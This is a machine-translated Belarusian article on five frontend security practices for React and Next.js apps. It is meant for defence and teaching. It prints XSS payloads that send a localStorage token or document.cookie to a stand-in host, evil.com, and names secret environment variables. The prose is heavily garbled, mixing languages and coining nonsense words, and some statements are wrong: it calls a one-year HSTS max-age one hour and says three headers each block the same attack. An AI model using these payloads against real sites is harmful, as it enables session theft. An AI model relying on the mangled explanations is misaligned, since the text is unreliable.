Галоўная / Артыкулы

Пяць захоўніх мераў для фронтэнду, якія неабходны кожнаму додатку на React і Next.js

Чаму пры стварэнні дапрацоўных аплікацыяў на React і Next.js выкорыстоваюцца HttpOnly-кукі, CSP, DOMPurify, заголовкі безпекі і правілы NEXT_PUBLIC_, і якія атакі кожны з іх блакуе.

Выдавец: REACTAPP.TOP8 хв чытання1873 слоў

Крыніцы: 5 Security Practices Senior Frontend Engineers Use in React/Next.js Apps (But Most Developers Ignore)

Лёгкаа ўважаць абяранне безпекі за задачу бэкенду, пры тым што багатыя серьзныя вразломы, ад крадзеных сэсій да выцягнутых ключаў API, пачынаюцца ў коде кліента. Кодавые базы React і Next.js у працоўным режыме маюць элементы, якія спачатку здаюцца непатрэбнымі: кукі HttpOnly, нестандартныя заголовкі ў next.config.js, бібліятэка DOMPurify, зменныя NEXT_PUBLIC_ і правілы Content-Security-Policy. У гэтым кярыянце пояснены пяць найважлівейшых з іх, атакі, якія кожны з іх блакуе, а таксама умовы для правільнага ўжывання.

1. Захавайце токены аутэнтыкацыі праз кукі HttpOnly, ўжо не ў JavaScript

Зберагчык токенаў, верагодна, ёсць найважлівейшая рашэнне па кантролі безпекі ў фронтэндзе. Часта выкарыстоўваемы падход — це зберагчык токена ў localStorage:

localStorage.setItem("token", token);

і ручна прыкрепляць яго да кожнага запиту:

fetch("/profile", {
  headers: {
    Authorization: `Bearer ${token}`,
  },
});

Гэта працюе, але дазволяе будзь-якаму скрыпту, які працюе на вашай сторонцы, чытаць токен.

Як XSS прыводзіць да захоплення адказу

Крос-сайт скраптінг (XSS) означае, калі зловершальнік зарабатвае можлівасць запускаць свой JavaScript у вашым сайте. Тыповая точка прыходу — адразуванне ненадзеянага HTML, напрыклад, каментаря пользователя:

<div dangerouslySetInnerHTML={{ __html: comment }} />

Якщо зловершальнік можа запусціць скрапт, чытанне токена адбываецца за адну лінію:

<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>

Строга гаворка, таг script, які быў дадзен через innerHTML (які викорыстоўвае dangerouslySetInnerHTML), не выконвуецца; рэальныя атакі выкарыстоўваюць пэйлоады для обробкі змаганняў, як тое, што паказана ў раздзеле 3. У будзь-якім случае, калі скрапт запускаецца, localStorage стае аблегчаным для доступу.

Хто бы ні меў токен-носіцеля, гэта адзначаеся ў системе без патрэбы у паролі, і такая особа можа адразувацься да адказу, выдавацца за пользователя, выконваць транзакцыі чы адкрыць функцыі адміністратара.

Дазвольце браузеру хаваць сесію

Стандартны рашэнь — калі сервер выдае сесыю ў кукі, да якой скрыпты не можаць дасягнуць:

Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict

Кожны атрыбут мае конкрэтную функцыю:

  • HttpOnly скрывае кукі ад JavaScript: яе чытанне за дапамою скрыпты, як паказана нижэй, не дае результата.
  • Secure обмежвае кукі толькі HTTPS.
  • SameSite=Strict не дазволяе браузеру адправляць кукі ў запытках, якія выходзяць з іншых сайтаў, што ёсць эфективны заход прыбліжна да атакі типу CSRF. Strict таксама удаляе кукі, калі корыстнік прыйходзіць праз лінкі з іншых сайтаў, таму багатыя дапрыемкі выбіраюць Lax.
document.cookie

Змена стосуецца прыналежнасці. Раней фронтэнд кантролаваў токен:

Frontend controls token

Пасля — браузер:

Browser controls token

Ваш код большэй не стварае такі заголовак праз кожны вызов:

Authorization: Bearer token

таму што прыгледач аўтаматычна дадае кукі. Даныя аброцення ніколі не праходзяць через код аплікацыі. Часткам сервера паказана наша параболіка сэшнаў і JWT-аў у Node.js.

2. Застопіце запуск вбудоўваных скрыптаваў за дапамогай Content Security Policy

Адной з часта праігнораваных захоўнаўных мераў ёсць заголовак пад назвай

Content-Security-Policy

которы проекты Next.js часта насталявяюць у

next.config.js

Чаму кукі з атрыбутам HttpOnly недастатні

Падазроўваючы, што хакеру паспела вбудаваць званчыны скрыпт:

<script src="https://evil.com/hack.js"></script>

Па ўзначэнні браузер яго запускае. Нападчык не можа прачытаць кукі, але і гэтага не патрэбуе: скрыпта запускаецца ў межах вашага рэгістру, таму яе запыткі автаматычна несу кукі пользователя:

fetch("/send-money", {
  method: "POST",
  body: JSON.stringify({
    amount: 50000,
    to: "hacker",
  }),
});

Бэкенд бачыць аутентыфікованы запыт і обрабоцвае перадачу данных. Той жа спосаб памагае для іншых атак:

  • Фальшывыя запросы на захаджэнне. Скрыпта паказвае дыялог, які выглядае офіцыйна, падобна да тексту нижэй, і все, што запішаў пользователя, падае нападчыку.
  • Прыводзячыя перенаправленні. Пользоватары таямна направляюцца на сайт фішынгу, які імітуе ваш.
"Session expired. Enter password again."

Спіс дазволенага коду

CSP паведамляе браузер, з калькі джэрел можна запускаць скрыпты. Мінімальная політыка выглядае так:

Content-Security-Policy:
script-src 'self'

'self' означае, што дазволены толькі скрыпты, якія выдаюцца з вашага сэрвара. Калі сторанка зустрочыць скрыпт з іншага домэна, напрыклад, такі, як нижчэй, браузер адмовяецца яго выканаць:

<script src="evil.com/hack.js"></script>

У Next.js вы можете адправіць заголовак для кожнага маршрута за дапамою headers() у настройках:

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "Content-Security-Policy",
            value: "script-src 'self';",
          },
        ],
      },
    ];
  },
};

Спрытывайце гэта як пачатковую точку. Проста запісь script-src 'self' таксама блакуе вбудованыя скрыпты, якія Next.js выкарыстоўвае для гідратацыі, таму строгая політіка зазвычай вымагае наявнасці нонсэў (пераканайцеся ў актуальных дасведчэннях Next.js пра падход з мідлвэрамі). Спачатку апыньце новыя політікі за дапамою Content-Security-Policy-Report-Only.

Два слоі, два цялкі

HttpOnly-кукі скарочваюць накананне атак типу XSS; CSP прагчае заблокаваць выкананне скрыптова ўзагалі. Праўая захопнасць выходзіць з аднойчаснага викорыстоўванняя обох.

3. Санітаравацыя HTML-тэксту пры выкарыстанні dangerousSetInnerHTML

React запобегае XSS толькі на сваёй стандартнай схеме адраджавання, дзе інтерполюемы тэкст атрыбутуецца спецыяльнымі знакамі:

<p>{content}</p>

Тады, якщо API вяртае такі строку, React адраджвае яе як звычны тэкст, а не выкананае код:

<script>alert("hacked")</script>

Спосаб атрыбутуець спецыяльнымі знакамі —

dangerouslySetInnerHTML

і React навмысна пастаў слова

dangerously

у назве гэтага.

Калі вам справды патрэбен необработаны HTML

Блогі, сторункі CMS, выходны тэкст у формате Markdown і редактары багатае тексту таксама патрэбуюць адраджавання HTML. Спадзяймося, што бэкенд вяртае:

<h1>Frontend Security</h1>
<p>Learn React Security</p>

Адраджаванне яго праз стандартную інтерполяцыю:

<p>{content}</p>

паказвае тэгі як просты текст. Пераход на спосаб атрыбутуець спецыяльнымі знакамі дае належна сформатаваны контэнт:

<div dangerouslySetInnerHTML={{
  __html: content
}} />

Ён выглядае правільна, але ён являецца точкай введэння коду.

Контэнт, які дзе-ж выканана

Нападчык адправляе такі маркап:

<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>

Джерэла зображэння навмысна ў некоректным стане, завантажэнне не выконваецца, і працёвнік onerror запускае JavaScript нападчыка.

Ачысціце яго за дапамою DOMPurify

Звычны спосаб — санітараваць тэкст пры адрасаванні. Установіце бібліятэку:

npm install dompurify

Імпортуйце яе:

import DOMPurify from "dompurify";

і санітаравайце контэнт пры передачы яго ў React (у рэальным кодзе вызов sanitize і return павінны стаяць на разных лініях):

const safeHTML =
DOMPurify.sanitize(content);return (
  <div
    dangerouslySetInnerHTML={{
      __html: safeHTML,
    }}
  />
);

DOMPurify адзьяўляе небяпечныя элементы, такія як елементы script, внутрашнія обработчыкі змаганняў, напрыклад onerror і onclick, URL-адрэсы у формате javascript: ў спынаках, а таксама вставленыя iframes, залишаючы толькі безпечны маркап. На сервере няма браузеровага DOM, таму код, выкананы на сервере, патрабуе рэалізацію DOM, такую як jsdom, або санітазацыю пад час запісу.

Ненадзеяныя джерэлы — ваш саёмы бэкенд

Ніколі не давайце веры даннем, якія прыходзяць нават з вашага саёмага API; гэтыя данні часта праглядаюць з менш надзеяных джерэла:

  • канечныя корыстнікі
  • панелі адміністрацыі
  • редактары CMS
  • API трэціх сторон
  • редактары багатага тексту

4. Значкі безпекі браузера, якія закрываюць „тыхыя“ прасоў

У багацых конфігурацыях для працы ў рэальных умовах задаецца троіца значакаў, якія лёгка ўпусціць з увагі:

X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options

Кожны з іх блакуе аднаковы напад.

X-Frame-Options протык клікджэкінгу

Нападчык стварае сторанку на сваём домэне:

evil.com

і завантажае ваш сайт у невидмым iframe на яго верхній частцы. Пользователь думае, што ён натыкаецца

Claim Prize

але клік падае на ваш справжнія кнопку, яка знаходзится падаўней:

Transfer ₹50,000

Это і є клікджэкінг. Рашэння — забарыць формаванне фреймоў:

X-Frame-Options: DENY

Тады браузер адмовяецца ствараць фреймы з вашыма сторанкамі. Сучасны эквывалент CSP — frame-ancestors 'none'; настройка обох способаў падтрымлівае старэйшыя браузеры.

Strict-Transport-Security для прымусу викорыстання HTTPS

У ненадзірванных сетях, такіх як публічны Wi-Fi, трафік у формате HTTP можа быць перехоплены, што прыводзіць да адкрыцця пароў, дадзэнняй сесіі, одноразовых кодаў і іншай прыватной інфармацыі. HSTS паведамляе браузер викорыстоўваць толькі HTTPS:

Strict-Transport-Security:
max-age=31536000

Калі браузер вже побачыў гэты заголовак, нават адрас, увведзены рукой, як

http://example.com

автаматычна перакладаецца у

https://example.com

до таго, як будь-якае запытанне пакінуе прыстрой. Значэння max-age становіць адна годзіну. Браузер выучае гэта правіло толькі через HTTPS, таму першыя візіты застаюцца без захавання, якщо толькі домэн не быў падготавлены заздалегідь.

X-Content-Type-Options проты аналізу MIME

Браузеры з історычных прычын намагаліся здогадацца пра рэальны тип файлу. Якщо сервер заявляе

Content-Type: image/jpeg

але файл на самай працэ павінен містыць скрыпты, браузер, які аналізуе файлы, можа спрацаваць яго як виконвальны. Для блакання такой дзеянні існуе адны заголовак:

X-Content-Type-Options:
nosniff

Ён паведамляе браузеру даваць веры заявленаму Content-Type і перастаць здагадванні.

Установка ўсіх трохох у Next.js

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "X-Frame-Options",
            value: "DENY",
          },
          {
            key:
              "Strict-Transport-Security",
            value:
              "max-age=31536000",
          },
          {
            key:
              "X-Content-Type-Options",
            value: "nosniff",
          },
        ],
      },
    ];
  },
};

Гэтыя заголовкі практычна нічога не коштаюць і усуваюць цэлыя категоріі атак.

5. Адзінольна схованка сервера адзінольна адзінольная з мэнеджаментнымі зменнымі, виднымі ў прыгледчыку

Зберагачэнне файла .env параду Гіт не робіць схованкі безпечнымі. Важнае — гэта, што апошней з’яўляецца ў пакете JavaScript.

Як схованкі прабіваюць у пакет

Возьмімо такую зменную:

SECRET_KEY=abc123

Апылена з коду кліента:

console.log(
 process.env.SECRET_KEY
);

Калі інструмент зборкі вбудоввае мэнеджаментныя зменныя ў час зборкі, готавы код мае літэральную значэнне:

console.log("abc123");

Кожны можа прачытаць яго ў інструментах разработчыка. Next.js заходзіць ад такога варуанту: зменныя без прыфікса NEXT_PUBLIC_ не вбудовваюцца ў код прыгледчыка і там чытаюцца як undefined. Шчыління выходзяць, калі схованка атрымвае прыфікс public, каб спакаваць адказку, або калі серверны компонент перадае яе кліентскаму компоненту як параметр.

Контракт NEXT_PUBLIC_

Толькі зменныя, назвы якіх пачынаюцца з

NEXT_PUBLIC_

включаюцца ў версію браузера. Такая значэнне можа быць выклікана без проблем:

NEXT_PUBLIC_API_URL=
https://api.com

і яе можна прачытаць у коде кліента так:

process.env
.NEXT_PUBLIC_API_URL

так как URL API ў будзь-якім случае є публічным.

Што ніколі не павінна быць публічным

Этыя элементы должны застацца толькі на сервере:

JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS

Тыповая наладка для працы

У рэпазітарые няма файлу .env, таму што гэты файл знаходзіцца ў списку .gitignore:

.env

Рэальныя значэння вводзяцца системай CI/CD або платформай хостынгу пад час стварэння або развяртання. Толькі значэнні з прыметнікам NEXT_PUBLIC_ падаюць у бандл браузера; всё інша застаецца на сервере.

Правілу, якое трэба памятаць: якщо браузер можа доступаць да значэння, яно є публічным. Няма жадных секрэтных данных фронтэнда, якія б насправды былі секрэтнымі.

Ключовыя выводы

Безпека фронтэнду заключаецца у скорачванні плошчы атакі і ускладнэнні ее выкарыстання, шар за шарам.

  1. HttpOnly кукі не дазволяюць вставленым скрыптам доступаць да токэнаў сесіі.
  2. Палітыка безпекі кантэнту запобегае выконванню неавтарызаваных скрыптаў, але для сумежнасці з унутранымі скрыптамі Next.js патрэбны нонсы.
  3. DOMPurify робіць dangerouslySetInnerHTML безпечным для кантэнту, які вы не пісалі.
  4. Заголовкі безпекі практычна без зусиль блакуюць clickjacking, падвышэнне протакола і аналіз MIME.
  5. Межа NEXT_PUBLIC_ вялічы, што будзе адправленае да браузера, таму трэба спрыятаць гэты прыфікс як рашэнне пра публікацыю.

Знанне таго, якія атакі зупіняе кожны патэрн, дапамагае правільна яго настроіць і з’явіцца, калі якой-небудзь не хапяе.